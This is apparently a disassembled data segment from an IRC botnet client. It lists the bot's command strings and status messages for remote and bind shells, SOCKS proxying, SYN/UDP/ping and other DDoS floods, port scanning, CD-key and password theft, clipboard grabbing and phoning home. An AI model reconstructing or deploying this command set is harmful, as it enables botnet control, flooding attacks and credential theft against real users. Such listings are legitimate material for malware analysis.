234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o ; sub_401ACD+4FA1o dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F84o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF0o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 10h dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 10h dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 10h dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 10h aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 10h aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C1Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C718: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 10h unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 10h dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 10h a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA28: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA2C: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: 